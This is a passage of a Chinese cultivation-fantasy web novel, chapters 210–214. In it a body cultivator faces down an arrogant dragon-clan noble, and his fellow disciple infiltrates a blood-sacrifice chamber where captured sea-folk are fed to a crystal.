“抱歉……我很需要这只鸟。”石泽竹低下头去看着男人,高大的身躯让人很有压力,更何况石泽竹还散发着独有的强者气息。 男人有些退缩,手抖了一下似乎想要收回去。 “爹爹!我也想要!!”小姑娘很是不乐意地继续拽着男人的袖子。 “…小溪啊,咱们要不……”男人咽了一下口水,显然他有点想要退步。 “爹爹!我就要这个!就要这个嘛!”小姑娘没来由的占有欲让她挤出来一丝眼泪,她泪汪汪的样子显然特别可怜,而男人也不知道想到了什么,转过头去,抬头看向了石泽竹。 “抱歉,道友,可否忍痛割爱……我家孩子难得突然那么想要一个东西。”男人说着用上了几分力道,看上去不太想放手。 “啊?可,可是。”石泽竹有些结巴了,他看着男人那坚韧的眼神,仿佛自己抢了这个鸟儿就好像抢了这个小孩的全世界一样。 如果是平时就让了。 可是这是学长,学长身上肯定有胡长乐的信息,没准就是胡长乐派出来求救的。 这关乎伙伴的安危,石泽竹怎能就此退让,于是他特地让自己看上去温和,张了张嘴还想再说什么的时候,突然,左侧突然传来了吵闹声,这吵闹声还有接近的趋势。 石泽竹转头看去,而男人见石泽竹注意力不在这里,果断地抢过去,然后拿着它付了钱就抄自己的女儿转身就跑。 “?!等等!”石泽竹当即伸出手就要抓住他。 还没等他伸出手,突然,一道身形细长的灵兽凶猛地冲了过来,将那男人连同他的女儿一起撞在了地上。 而在下一秒,除了这条似蛇的灵兽外,还有另一只身躯庞大的似狗的灵宠也冲了过来,那锋利的爪子眼看就要按在了这对父女身上,而学长在笼子里失去了色彩。 说那时那时快,石泽竹果断冲上前去,一个拳头就把那爪子击开,随后站稳后一个高抬腿将那灵兽踢飞了出去,直直地落在了某个摊子的伞盖上。 “你们没事吧?“石泽竹转身问去,他看到那对惊魂未定的父女在他看过来后似乎有些恐惧,这让石泽竹不由得怀疑自己的面相有那么凶残吗? “…道…道友,后边……”男人抬起手指了指石泽竹的后边。 还没等石泽竹往后看去呢,一道愤怒的男声自后边响起: “到底是谁踹我的宝贝灵宠!!“ 石泽竹内心一慌,心想着自己好像惹事了就转头看过去,他看到一个头上顶着龙角的胖子正怒气冲冲地走过来。 “对…对不起,我方才只是有些心急,因为你的灵宠刚刚差点就踩到人了。”石泽竹立马低头认错,他已经准备好赔偿了,“我会赔你钱的……” “这是能赔的吗?我家宝贝元珠是你可以踹的吗?”这个胖子龙族显然不肯听石泽竹的道歉。 “对不起对不起…”石泽竹更加慌乱了。 “它要踩就让它踩啊!!谁让你拦着它了!!没准我家宝贝元珠就是想踩来玩玩怎么了!!” “……” 石泽竹一愣。 第211章 若要破山 发怒的龙族,四周惊慌的声音,那对父女的低声呜咽,这天的阳光和平常一样灿烂,会将人的身子照得温暖无比。 可在这场阳光下,那一双双恐惧的眼睛就这样看着石泽竹,石泽竹被这些目光所注视着,他看到了怜悯,看到了无可奈何,还有那不敢言说的恐惧。 “你刚刚在说什么?”石泽竹可以听到自己的声音这样说着,思绪也不由得因此飘回了很久很久以前,那是他还是孩子的时候,一家人坐在饭桌前开始吃起今日的饭菜。 他们的饭菜不是很多,一个人分得一点粗粮,吃的时候颇为爱惜,吃进后那种满足感会让人感觉到幸福。 “…今日那官老爷想要用我们地种花,要拔了我们种苗苗儿,什么花我是听不太懂,可那花又不能吃……”略有沧桑的父亲缓缓开口道:“这下可咋整……” “…那怎么办?那可是我们辛辛苦苦种下的粮食,就这样被……”没怎么打理过自己的母亲拿着碗给石泽竹盛饭,听到这话她很是担忧地问道。 “…能怎么办,那可是官老爷…只能再想想其他法子,看看能不能弄点粮食来。”父亲重重地叹了口气,他已经吃完了,空碗放在桌子上,他看着其他孩子碗里的饭菜,还有孩子们那瘦小的身躯。 “……为什么呀?”就在这个时候,年纪比较大的石泽竹开口了,“为什么他们要拔掉我们的粮食?” “…石头乖,我们先吃饭吧。”母亲显然不想多说,她温柔地劝道。 “…好。”石泽竹乖乖地没有多说什么,他继续低头扒拉饭。 …其实,那一天,石泽竹想说的并不是为什么。 而是…… “凭什么?”石泽竹站在了那个龙族面前,他面无表情地看着这个龙族,“我真的不懂,你们为什么可以随意说出这种话来的?” “哈?我为什么不能说?你谁啊你!”这个胖子龙族显然没有想到石泽竹的胆子那么大,竟然还和他面对面叫板,而他身后也跟上来了不少仆从,这些仆从显然是伺候他的。 “你们来得真慢,还不快点过来!这个家伙居然敢这样和我说话,我很不爽,你们清楚要怎么做的,对吧?” “好的,少爷。”仆从们分散开来,朝着石泽竹那边缓缓围过去。 “顾师伯。”石泽竹转头看着飘在空中的镜子,他在等待着什么,而此时此刻,拳头已经被他握紧了。 顾延清看了周围的情况一眼,轻声开口:“去吧。” 这一句话落下,仿佛打开了石泽竹的什么开关,只见他猛地转回头去,他没有挥动拳头,而是缓缓拿出了他武器。 是的,石泽竹也是有武器的,不过他向来喜欢用拳头决胜负,而他的武器是一把大剑,沉重的剑身轰然立于地上,扬起一片尘土。 此剑名为破山。 人们都说,剑名一般代表了其剑主的意志,又或者是剑诞生而来的使命。 不是剑修也可挥动属于自己剑,只见石泽竹举起这把沉重的大剑,以他的实力这把剑举起来不过是轻而易举。 “什么,不会用剑?”师父的话语犹在耳边,孟江离似乎因为他的这个疑问耐心地想了想,随后她道:“那也无妨。” “我们是体修,会不会剑什么的其实不是很重要。”孟江离说着,握紧了拳头,在石泽竹的眼前挥出了拳头,拳头所带来的急风扑了石泽竹的满面。 “对了,如果你真的想用这把剑,我便教你一招如何?” “什么招数?”石泽竹有些好奇。 “我们是体修,和那些剑修用剑的方法可不一样。”孟江离拿起了石泽竹手里的破山剑,对着这天挥动了几下,“我们不讲技巧,只讲力气,用尽你的所有力气去挥动这把剑。” 而这一剑,可破万山。 “……你…你……” 遍地尘土扬起,一道又深又长的剑痕留在了地面上,而这剑痕长到那座墙壁,那座隔着平民与龙族的墙壁因为这一剑产生了裂痕。 “疯了疯了,谁让你这样做的?你这样子是在挑衅我们龙族吗?”龙族胖子气得踹了一脚因为这一剑倒在地上的仆从,“该死!该死!!” “你们没事吧?”石泽竹走过去扶起那对父女,显然这对父女还有些惊魂未定,男子正死死地抱住自己的女儿,手也死抓着学长的笼子,“这里有点吵,我们先走吧。” “你敢无视我?!你凭什么无视我?!”这个龙族似乎还想说什么,就被转过头看他的石泽竹狠狠瞪了一眼,只一眼他就感受到了那种被野兽盯上的恐惧。 明明他们龙族才是最厉害的种族,他们是第一个接触阳光的种族,也是独得神明喜爱的龙族…… 但是…… 凭什么? “……给我等着!!”胖子龙族气急败坏地跑了,他明明看上去如此笨重,跑起来却那么快,果然龙族就是龙族,跑路也这样快……只是估计他们很少利用这种速度优势去跑路吧。 “…谢谢你。”那位男子对石泽竹道了谢,“如果不是你,我们估计就完蛋了。” “这是我应该做的……就是,那个鸟能不能给我,我是真的很需要,不行我可以花三倍的……”还没等石泽竹说完,男子就笑着摇了摇头,随后他把那笼子塞进了石泽竹手里。 “哪里的话,你想要就拿去吧,好了,小溪,快和大哥哥道谢。”男子塞完笼子后就拍了拍小溪的后背。 小溪走上前,她低下头小声地也说了一句:“谢谢……” “…就,就这样给我吗?”石泽竹愣了一下,随后连忙道:“那我给你钱……” “不用不用,比起这个,不知恩人可愿意随我们回去一起喝杯茶?一直站在这里我怕…他会找回来。” “就算回来我也会赶跑他的,你们不用担心。”石泽竹说着,挥了挥自己的破山剑。 “恩人果然厉害,那这茶…?”男子笑着抱起了小溪,有些犹豫地看着石泽竹,“若是不方便的话就算了,不过我也只是有些事情想要和您说说才特地提出这个建议的。” “那我们现在就走吧!”石泽竹一边说着,一边掰断笼子把学长肥啾放出来,学长非常哭哭啼啼地落在石泽竹的肩膀上,并且用身子紧紧贴住石泽竹的脖子。 他们一起回了去,这对父女的家不是很大,小溪在回家后就从男子的怀抱下来,她迈着小碎步往一个小柜子那里跑去。 “地方有些小,还望恩人莫要在意。”男子这样说着,就已经开始去找茶具和茶叶了。 “怎么会!这比我小时候住的房间要好很多了!”石泽竹那么说着,他有点好奇地看了一眼小溪在做什么,发现小女孩只是在拿起了柜子的娃娃,看那做工还挺精细的。 “那么您先随意些坐吧,我去为您沏茶。”说完,男子离开了房间。 “你在做什么?”石泽竹见小女孩拿着那个娃娃后就不愿意松手了,而等待茶水的时间总是漫长的,于是他就起了和小女孩聊天的心思。 “我在和娃娃玩。”小溪抱着娃娃就走过来,然后在石泽竹的旁边位置上坐下。 “你这个娃娃真好看。”石泽竹夸赞道,这句夸赞显然让小溪非常开心。 “嗯,这是阿娘给我做的,很好看吧!!”小溪兴奋地举起那个娃娃给石泽竹看。 “哇,好棒。”这不是一句敷衍的夸奖,因为小溪手里的娃娃做工非常精细,衣服上的花纹还有娃娃的神态都是那么惟妙惟肖。 “这是你吗?”石泽竹认真看了看,发现这个娃娃和小溪有点相似,于是就问了出来。 “对的,这是阿娘特地给我做的我!是我最好的朋友!”小溪说着,小心翼翼看了一眼石泽竹,她的脸蛋有些红红,“大哥哥,你刚刚好厉害呀!你把那个坏蛋打得屁滚尿流!” “还好还好啦……”石泽竹有些不好意思地挠了挠头,接着他似是想起什么,“那你娘呢?是出去买东西了吗?” “对呀,她出去买东西了,说要给我们做大餐,但是她还没有回来!!” “这样呀,那她应该很快就会回来了。”石泽竹没忍住伸出手摸了摸小溪的脑袋。 “嗯!爹爹也是那么和我说!他说阿娘会回来的!所以我一直在等阿娘回来。” 不知为何,石泽竹总感觉到一丝不对劲,而这种不好的预感在那位男子端着茶出来的时候越来越烈。 “久等了。” 茶的香气飘散在空中,石泽竹不懂茶叶,但是他会喝茶。 “小溪,我和大哥哥有话要说,你可以先去院子里玩吗?” “好~” 小溪出去了。 而男子将茶具摆好后,又放了一碟点心,石泽竹端起茶水吹了吹上头的热气,男子看着他,一种安静的氛围就这样蔓延在俩人之中。 “…那个,您夫人什么时候回来呀?我听小溪说她出去买东西要给你们做大餐呢!哇,听上去好让人期待的样子。” 男子轻声道:“我夫人她……离开家中已经有一个月了。” “自那次出门后,她就再也没有回来了。” 第212章 莫忘来路 “那天和平常一样,就和现在一样,一样的阳光,天气算不上很坏,但也不会太好。”男子转头看向窗户外边,他仿佛陷入了某种回忆,声音轻如落雨。 “她出去后,就没有再回来。” 石泽竹没有打断男子的回忆,只是平静地端着茶杯,热气飘于空中又缓缓散去,轻柔的气息拂过他的面孔。 “…其实近些日子来,我们也听到有些人出去就没有再回来了,我们找过护卫军,但是都得不到回应。” “我以为那只是单纯出去买个东西而已,我还以为她会回来的……”说着,男子倒是自己先哭了,他抬手擦了擦眼泪,“抱歉,我也不想如此的,只是我真的太想她了。” “没事没事,可以理解。”石泽竹连忙点头,这种情况他压根不知道该说什么。 “如果连护卫军都不能信,那我应该信谁呢?恩人,你打了那龙族,事后他一定会带着护卫军找上来的,你还是快些走吧。” “什么?” “我只是不想再看到悲剧再度发生了。”男子声音因为哭着难免沙哑起来,他看上去特别担忧石泽竹的情况,“要走就趁现在吧,我知道有一条路可以偷偷离开岛屿,我会为恩人备好船,恩人出去后就不要再来这里了。” “多谢你的好意,但是我现在还不能走,我还要等我的伙伴们。”石泽竹摇了摇头,他眼神坚定地看着男子,与此同时外头的小溪发出了一声尖叫。 “小溪?!”男子听到这喊声,连忙跑出去,匆忙间茶杯倾倒,茶水溅满了整张桌子。 石泽竹也站起来,跟着往外冲去,只见不知哪来的飞兽叼住了小姑娘的后衣领,似乎在试图将小溪带离地面。 “放开她!”男子当场就怒了,他只是比起龙族较弱,并不代表他没有修为,只见他运起灵力就那么打了一掌出去,这掌正中那飞兽的脑袋,飞兽直直地掉了下去。 男子走过去抱起受了惊吓的小溪,一边抱一边哄着她,“没事了没事了,有爹爹在不会有事的……” 石泽竹则是去查看这个怪异的飞兽,他并不认识这个物种,“它已经死了。” “……”男子看到这个飞兽,沉默了一下,随后他对着石泽竹继续说道:“恩人若是还要在岛上久留的话,还请注意行事,如果实在是不行,恩人可以去照云酒肆,要一壶名叫望来春的酒便可。” “哎?好,谢谢,嗯?等等你要去哪?”石泽竹看到人已经开始收拾行囊了,而小溪则乖乖巧巧地站在旁边。 “…这里已经不安全了,不合适我继续等她。”男子那么说着,他拿起小溪的娃娃也给装了进去,“我不能再失去我的女儿了。” 他的话语前后矛盾,一边相信着妻子还会回来,一边又觉得女儿已经是自己仅剩的宝物,他相信着但是也失望着,可是他是父亲,他必须决定好接下来的未来应该怎么走。 “恩人,这个房子若您不介意可以待着,毕竟您救了我们父女的命……”男子说着就抱起小溪就往外走去,突地他转头看了一眼石泽竹:“如果……如果她回来了,你可否告诉她一声?” “…好,好的?”突然就继承了一间房子的石泽竹目前还很迷茫,他转头看了一眼这个房子,最后选择在院子里的石凳子那里坐下。 这是个什么事啊……? 不过,也算是有点线索。 石泽竹不太聪明,但是他现在有聪明的顾延清啊,于是他拿出浮光镜问:“顾师伯,您看?现在到底是个什么情况?” 顾延清闻言顿了顿,随后他叹了口气,“如果我猜得没错,这位男子的夫人应当和阿璟目前的行动有关。” “嗯?”石泽竹有些疑惑。 而顾延清也继续为他解答道:“当初阿璟答应的事情,是和那海盗有点关系,那海盗应是和某个龙族合作然后抓走不少海族。” “什么…?”石泽竹一愣,这么说来,这位男子的夫人应该也是被…… “嗯,应该是这样。”顾延清点了点头,“那些海族最后会被送到哪里去,我们目前还不知道,而阿璟正潜入进去。” 说到谢璟的任务,顾延清不由得有些许担忧,于是他继续开口:“石师侄,不知你可否为我去做点事?” “顾师伯请说!”石泽竹当即挺直后背。 “你可还记得当日山玉他们用的傀儡……” …… “怎么办,小兄弟。”一位女子正在抓着栏杆发自内心地哭泣,她看上去无比绝望,“我已经一个多月没有看到我夫君,还有我那可爱的女儿,他们一定在哭吧。” 谢璟正和女子一起被关在笼子里,除了他们俩外,这个笼子里还有其他绝望的海族,他们全部都蔓延着死亡又绝望的气息。 而女子是其中最有活力的,她绝望了一下,就和谢璟说起自己那温暖无比的小家,从她和夫君相遇开始到后来的成亲有了小溪,越说她脸上的表情越幸福,这在绝望的气氛里特别显眼。 谢璟只是个可怜的单身狗,听不得那么幸福的话语,于是他出声阻止了女子接下来的话:“喂,你今天已经说了好几遍这个了,为什么要专门说给我听啊。” “因为,小兄弟你是今天刚刚进来的啊。”女子声音停顿了一下,随后有些委屈地道:“更何况我也不是只告诉给你听,我还说给他们听过啊,不过只有小兄弟你愿意听我说那么久。” 谢璟:…… “而且,我怕我再不说,接下来就说不了了,如果不出意外的话,下一个估计就轮到我了吧,我待这里快一个月多,一开始笼子里可没有那么少海族的。”女子叹了口气,很是无奈地道:“他们过来挑选海族是按先后顺序的,你闻到空中那股奇怪的香味了吗?” “嗯,怎么了。”谢璟早在进来的时候就发现了。 女子眼神犀利一下,然后开口道:“所以我们肯定要被这个香味腌入味才被挑走。” “我已经腌了一个多月了,估计差不多要到我了。”说着,女子又开始没来由地希望一下:“如果现在有个大英雄脚踏祥云来救我的话,我可以带着我的夫君一起嫁给他。” 谢璟:? 怎么还连吃带拿的,这到底是便宜了谁。 “如果没有呢?”谢璟问道,他靠在栏杆上,思考着接下来的情况,已知这帮海盗是给龙族送货的,而他们就是这些货物之一。 那个鲛人王提出这个潜入的时候,原来是以货物的身份潜入,也是,他们压根没有在敌人内部站稳脚跟,就连接应人也不过是一位吃了钱办事的家伙。 怎么混那么惨啊?怎么混的啊?你到底会不会当卧底? 谢璟发出了灵魂的三问,但是没有人理他。 “如果没有的话,就没有吧,只希望我的夫君和女儿不要紧随其后地过来啊。”女子说着叹了口气,她转头看着谢璟,“你看上去年纪不大啊,感觉还没活够就被抓来了。” “…他们抓海族也不会看年龄啊。”谢璟耸了耸肩。 “说得也是,真是一群混蛋啊。”女子又叹了口气,显然她再怎么有活力,在面对死亡这个问题的时候,都会显得有些无力。 啪叽一下,门被人从外边打开,谢璟和女子不约而同地望向了来人,那是一群没有人情味的海盗,他们翻动着一本册子,这册子在这些被关海族的眼里就像生死簿。 “这个,这个。” “还有那个。” 他们开始挑起了海族。 “…小兄弟呀。”女子的声音此时此刻有些颤抖,她转过头来冲谢璟淡淡一笑,“我有个爱哭又温柔的夫君,我还有个非常可爱但是活泼的女儿。” “我非常的爱他们。” 女子说着,而那边海盗的手也指向了她,仿佛早有此劫那般,她的目光已经失去了方才活泼的神采,眼泪要掉不掉的。 “小兄弟,算我求求你,你可不可以记一下呀。” 她怕自己死得太过静悄悄了。 第213章 以血铸刀 女子被挑选了出去,谢璟自然也想跟着出去,理由很简单,虽然他不是很喜欢听这个女子给他说的东西,但是他并不想就这样看着女子去死。 于是谢璟敲了敲铁栏,开口了:“等一下。” 海盗们停止了动作,他们抬起头看向了这个海族,其中一位海盗皱了皱眉举着棍子敲了敲铁栏,语气略微有些不满:“什么事?” “我也想去。”谢璟说着,他抓住了铁栏杆,眼神有些急切:“不可以吗?多我一个又怎么样?” “?你有病啊?还急着去送。”显然海盗有些不明所以。 “对,我不想活了,带我走吧,不带我走我就自杀,到时候你们自己看着办吧。”谢璟此时此刻的眼里正透露出一种淡淡的死感。 “…?”海盗的小领头显然被威胁到了,他左看看那边,右看看这边,没有人能够帮他回应谢璟这番话。 “嘁。” 谢璟的眼神还在坚定。 “……” 谢璟的眼神坚定得如同巡猎天空的雄鹰。 “……嘶。” 谢璟已经开始咬住舌头,流下了那么一滴血,他向来对自己很狠。 “带走带走!”海盗小领头发话了,他让人把谢璟给拽出来,随后推到了队伍里,女子急急忙忙地走上前扶住谢璟。 “天啊,你在干什么?!”女子显然没有想到谢璟那么想过来,“是…是为了我吗?没关系的,就算你不是大英雄我也很感动……” “…闭嘴吧。”谢璟叹了口气,不过他也没有抽出被女子握住的手臂,因为谢璟可以感觉到,女子在抓住他手臂的时候显然在微微颤抖着。 “…呜呜。”女子呜咽了几声,就将那哭声给咽下去了,她走在谢璟的旁边,一步步地离开了这个困住他们的牢笼。 谢璟也在看着周围的情况,出了地牢后又是另一个牢笼,他们显然没有想过要把这些人给带出去。 进来的时候谢璟也只是坐在披着黑布的笼子里,所以他也分辨不出这里的到底具体在哪个地方。 四周很安静,只有他们的呼吸声还有行走的脚步声,谢璟也可以感觉到一种诡异的压力控制着他的呼吸频率。 心跳也逐渐加快,而门后的东西也逐渐显现出它的真容。 第一眼的时候,谢璟感觉到了反胃,他想要吐,这不仅仅是让他回忆起在言明派遇到的那颗巨大肉块,更让他回忆起他人之血溅在自己身上的感觉。 好恶心…好恶心…… 在这里,无数的尸体堆积着,他们的躯体似枯木那般骇人,而四周布满了封印的锁链,咕噜咕噜,这里有一条血色河流缓缓流动,绕着这个区域流动了一圈又回来。 “……呕。”谢璟差点以为是自己压抑不住声音,等他反应过来后才发现是他旁边的那个女子先吐了。 气味是浓烈的。 这是他们此行的终点吗?这里除了死亡什么也没有。 “…好恶心。”女子捂住嘴巴这样说着,她因为呕吐过已经眼冒泪光了,尽管她什么也没吐出来。 谢璟没有言语,不如说他对这些保持着沉默,刺激他的不是那些血腥味,而是空气里久久不散的腐败味。 “都带来了?”一道苍老的声音开口了。 谢璟猛地看向了不知道什么时候出现在那边的老人,他的头发发白,面容状似枯木,他似是察觉到谢璟的目光,幽幽地看了过来。 谢璟收回了视线,他想着待会应该要怎么办才好。 “嗯,带来了,易前辈,没有事的话我们就先走了。”这群海盗在过来的时候显然也皱起了眉头,但是他们什么也没说,只不过是任务而已。 这位易前辈点了点头,就看着他们缓缓离开,与此同时,四周的侍卫也渐渐围了过来,他们都对这个易前辈非常尊敬。 “长老,可要把阵法撤下?” “嗯。”易长老点了点头,随后就有人去做了,只见他们稍做修改,一块洁白的晶体就漂浮于此地的中央,原来是方才的阵法掩盖了它的痕迹。 这或许是这个地方最突兀的东西了。 它的洁白和四周的血色不是很搭配。 而易长老在看向这个晶体的时候显露出那强烈的狂热,他紧张地让侍卫先把一批人带回去,而有人开始不愿意了,他们开始往后退去,显然这里的情况吓到了他们。 “……要不是方才那个家伙,我的阵法也不会遭到破坏,只能堪堪掩盖住一个晶体的存在。 易长老显然在看到他们的不愿意上去后,顿觉一丝麻烦,因为阵法缘故,所以他们应该只能看到洁白的房间和洁白的晶体才是。 对…… 就和秦兰时第一眼看到的那样。 谢璟似乎在远处看到了什么,于是他抬头看去,此时此刻四周的尸体很多,但是它们无一倒在锁链旁边,被锁链缠绕着身躯,而这具尸体唯独被吊了起来,悬于空中。 …… “……秦……”谢璟愣了一下,他看着那个方向,很是艰难地找回了自己的声音,与此同时那些侍卫开始驱逐起他们,想要把他们往那个晶体处推去。 “不,不要。”先是低低的一声哭泣,也是一声绝望的恳求。 “我不想死,我不想死……”人们绝望又痛苦,他们无比的恐惧,声音杂乱得像被扭曲掉的音节。 “放开我!放开我!”有人开始挣扎,最后都被丢了回来。 “可恶!你们这群混蛋,我死了要变成恶鬼狠狠地缠住你!!”那个女子怒吼出声,但是随即她又改变了心态,“不对,太便宜你们了啊啊啊!!我有这个时间不去找我夫君和女儿做什么啊!” “……师叔?”这是谢璟,他把那声不敢置信的称呼喊了出来,而他也被人往前推了推,他离那个水晶又近了几分。 “你可知龙族为什么一直能够那么强大?因为他们有着神明赐下的神物,而这个神物被他们当做了圣物保存。”反叛军首领还在和唐山玉继续讲解了,他的声音里头似蕴含着无尽的浩浪。 有人被推了过去,这个人被那洁白的光包裹起来,他发出了凄惨的叫喊,无数的锁链贪婪地于周围流动而起。 “一直以来他们都是靠着这个圣物才能立于海洋的巅峰,俯看着我们千万同为海族的生灵,但,就在几百年前,圣物出现了问题。” 有人发出的哭声,她在大哭,被推出去的人似乎是她的重要之人,她发了疯似地往那些侍卫的身上扑去,鲜血溅起,尖刺穿透了她,而她的身躯被侍卫们用尖刺挑着丢去了晶体处。 “而这个问题影响到了他们龙族的强大和位置,他们对此无比恐惧,据说当初被分为两派,一派觉得或许这是神明的指示,他们不应该贪婪于神明的恩赐,他们应当做出改变。” 易长老再次挥了挥手,他让那些侍卫再次靠近他们,人群涌动着,他们惊恐地看着拿着尖刺接近的侍卫们,他们身上的衣服曾经是他们最崇拜的颜色,这份银色应当纯洁无私。 “另一派觉得他们应该努力维持着神物的能力,他们不能忍受龙族跌落神坛的模样,他们对这份力量无比迷恋,而这一切在龙族出现废物的时候更加疯狂。” “能够成为龙族的力量,你们应该为此感到骄傲。”傲慢惯的易长老对此表示鄙夷,他似乎觉得这并没有什么不对,日夜增长的傲慢吞食了他。 “所以他们找到了一个方法,他们利用其他海族的命去换取龙族的长存,但是这第一滴血,来自于他们自己,他们为了维持龙族的统治已经疯狂到了这个地步,一开始或许还好,数量少,没什么人发现,但是越往后那个晶体吃得也越多,他们着急了,于是拼命地去找可以用于献祭的祭品。” “小兄弟,你愣着干什么?!快离那个晶体远一点!”女子惊慌失措地拉住了一动不动的谢璟,她把人往后拉去,可他们的身后是无数根闪烁着寒光的尖刺。 “…在我们这里,绝大多数是因为失去才会加入反叛军,失去确实会让我们绝望,但是同时也会让我们充满仇恨,这份仇恨支撑着我们走到现在。” 锁链流动而来,于这黑暗里,朝着这群弱小的人群猛冲而来,它们身上还留着缠绕那些尸体的腐肉,鲜活的血早已干涸,而它们现在需要更新鲜的血液。 “我们,绝不妥协,仇恨与愤怒是我们挥向这群傲慢混蛋的武器。” 剑光伴随着几道雷霆于人群中挥出,扑过来的锁链有几根应声而断,而谢璟站在人群里,举着剑,随后这把剑毫不犹豫地指向了站在对面的龙族。 他的眼里正闪烁着还未散去的雷光。 第214章 只为反抗 似乎有什么人在极速奔跑,他的呼吸声非常急促,他背着自己一路往前跑去,让人呕吐的味道还在空气里头蔓延。 秦兰时感觉到自己的意识很不清醒,他想要努力睁开眼,却有些无力,他能够感觉到的,只有身下这具还在呼吸的带有温度的身体。 到底发生了什么? 秦兰时实在是有些想不起来,他只记得那个洁白的水晶,还有那位易长老癫狂的模样,最后是朝他袭来的锁链。 出于本能,秦兰时当然反击了,他对这些锁链挥出剑,一一把它们斩断,这些锁链自然伤害不了他,可在他进来的时候,他早已处于阵法里。 被困住的秦兰时心想:这个龙王莫不是知道什么才把他丢过来送死,这个老不死的心肠真脏。 但是他转念一想,他这件事顾延清也是同意的,他要是死了这个龙王除了得到几位发怒的随清宗长老外加一个即将飞升的老怪物能有什么好处? 毕竟秦兰时很自信自己要是出事了,自己的师门是不会放过龙族的……就连山玉也是如此,秦兰时不是很想把山玉计算在内。 因为他害怕着自己的死亡会对那个孩子造成强烈的影响,师门那几个经历的事情很多,他们早已看多了这种生死离别,反倒是唐山玉…… 就算对方再怎么装作无比坚强,在凡间的那位朋友离开的时候,秦兰时还是感觉到唐山玉是悲伤的。 只不过他没有表现出来而已。 唐山玉再怎么假装自己很习惯也好,时间是骗不了人的,山玉他所经历的不够多,但是他会假装自己经历很多,仿佛只有这样,他就能快速接受这一切那样。 他想要迫切地接受这一切,就像一个经历过不少悲痛的孩子想要努力长大一样。 所以,秦兰时希望唐山玉可以多多学会依靠自己,这其中除了自己的私心,也有希望对方能够快乐一点,至少哭的时候也不要憋着嘛。 这样可不算是彻底长大啊。 …… 脑子好痛,多久了?那些锁链将他捆住的时候,秦兰时可以感觉到自己身上的灵力被对方尽数吸去,灵力要是被榨干的话,他就更容易死掉了。 而秦兰时感觉到这东西除了吸他灵力外,好像还留下了什么…… ……现在他好像是被人救下来了?而且还在被背着跑。 …不会是山玉吧? 秦兰时拼命地睁开眼,睁开眼的时候他感觉到一阵嗡嗡响声在自己脑袋里徘徊,适应了一番后他就将目光投到了背着自己的人身上。 …… 是谢璟啊。 秦兰时松了口气,而他也找回了自己的声音:“太好了,原来是谢璟……” 谢璟还在背着人躲避那些攻击呢,突然就听到身后的人松口气发出这种感叹,他有点想把人丢下来算了,当然只是想想而已。 “秦师叔,你怎么会在这里?你不是去……呃,和美人喝酒顺便收贿赂吗?”谢璟见人醒了,就开始问起来他的疑惑。 “…谁和美人喝酒了,你不要乱说。”秦兰时猛地收紧一下手臂,卡了一下谢璟的脖子,让人发出一声闷哼后才松开,“还能是什么,美人贿赂都是假的,估计是老龙王没有想到对方已经丧心病狂到这种地步了。” “…那你再撑一会儿。”谢璟那么说着,就继续背着秦兰时在这个诡异的地方穿梭着,“多亏了你先前劈开了这个阵法,所以我们逃起来比较容易。” “……”秦兰时没有回话。 “我伪装成祭品跟着这些人一起进来的,后边他们想要把我们推向晶体,我反抗了一下,就在我以为我们要苦战的时候,有人举起一个东西,我没有看清是什么。” 谢璟回忆了一下那个瞬间,周遭的灵力波动很明显的晃动,而那人手里的东西也破碎开来,被白色光芒所笼罩的俩人也出来了,他们掉落在了地上看上去像死了一样,而他们被一个人抬了起来。 接着,他们就发现他们好像可以使用灵力了,甚至实力也得到了恢复,最先反应过来的是先前和谢璟聊天的女子,只见她一个拳头就打在了一个侍卫的脸上。 动乱是一瞬间发生的,而发生的那一刻人群开始乱糟糟地涌动着,他们奔跑,他们反击,甚至有人在里头喊了一声:跟我走。 谢璟并不知道这是什么情况,他见好像不需要他帮忙了,就转头往秦兰时那边跑去,他一路切断袭击过来的锁链,往前跑去,在跑到下方的时候,谢璟仰起头,他的呼吸声也因为慌乱有些不稳定。 接着,谢璟切断了缠绕在秦兰时身上的锁链,他伸出手接住了秦兰时,他感觉到秦兰时的体温很低,脸上多了不少奇怪的红色纹路。 “……这是什么?”谢璟那么说着,但是没有人回应他,在这里只有他和这个仿佛死了一样的秦兰时。 谢璟只得背上秦兰时,转头就往着出去的路口跑去,但是路上也有不少阻挡他的锁链,它们像是活了一样,不过它们不知为何却略过了谢璟,只往秦兰时身上袭击过去。 这种情况下,谢璟只能一边护着背上的秦兰时,一边举着剑格挡着,体力和灵力在不断流失,而他还没有找到前路在何方。 就在这个时候,秦兰时醒了,在这种安静到只有死亡的处境下,秦兰时的声音无疑给了谢璟不少的勇气。 ……但是他为什么却不再说话了呢? “…秦师叔?”谢璟喊了一声,他方才给秦兰时说完了他们目前的情况,可是秦兰时只是一开始回了一句后,后边就没有再开口了。 “秦师叔?秦师叔?秦兰时?”最后,谢璟忍不住喊了秦兰时的名字,但是他却还是得不到回应,这种状态显然不好将人放下来查看,“…你要是有什么事,唐山玉他该怎么办……?” 许是这句话有些用,秦兰时抱住谢璟脖子的手微微收紧了一下,这让谢璟松了口气,他就继续背着人往前跑。 “你不要睡,我们很快就出去了,到时候你可不要让我也跟着吃你那种奇怪的食物。”也不知道是不是为了刺激什么,谢璟对秦兰时少了几分客气,“要吃就让山玉吃去,他肯定吃得笑容满面,现在想想还怪好笑。” “还有就是……好吧,我承认我喜欢我师父行了吧?秦师叔你会帮我吗?我这次救了你怎么着也能帮忙一下吧?我要求不多,你就你就……”谢璟跑着跑着,他的脚步渐渐停了下来,他看着眼前蠕动的锁链,总感觉自己的胃里要翻江倒海了。 “…入口被封住了,他们刚刚到底从哪里跑的。”因为专注于救秦兰时的谢璟并没有空去观察那些人往哪里跑的,所以他原路返回后发现这个入口被封住了。 “小兄弟!小兄弟!在这里!!”一道熟悉的女声在远处喊道,谢璟回头看去,他发现那个女子站在那里朝他招手,示意他过去。 原来在那边。 谢璟这样想着,刚迈开一步,突地,一种不好的预感自脚底蔓延而上,爬上了他的后背,而谢璟转头看去,发现是一只不知道什么时候出现的怪物攀岩在上方,它吐出的呼吸里有着腐烂的气息。 “………” 几乎是一瞬间的事情,那怪物就朝着他们俩人扑了过来,那血盆大口眼看着就要把他们给吞下去的时候,谢璟本能地想要举起剑,尽管微末的灵力不足以抵挡这次攻击。 “…化灵为木。” 不知哪来生长出来的藤蔓往怪物身上扑去,并且瞬间缠绕而上,将那怪物死死地捆在里头。 “绞杀。” 霎时间,鲜血四溅,像一场雨。 “秦师叔你没事了?你一下子就杀了它了。”谢璟看到这场鲜血落下后,缓缓松了口气,“你……” “…你和山玉说得一样。”秦兰时那么说着,他的声音很轻,就像一场即将散去的风,“变成了一个很好的孩子呢,谢璟。” 